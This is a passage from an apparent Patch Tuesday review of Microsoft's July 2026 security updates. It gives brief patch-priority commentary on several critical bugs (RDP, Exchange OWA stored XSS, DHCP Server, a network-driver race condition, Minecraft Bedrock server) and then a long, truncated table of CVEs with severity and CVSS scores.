Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  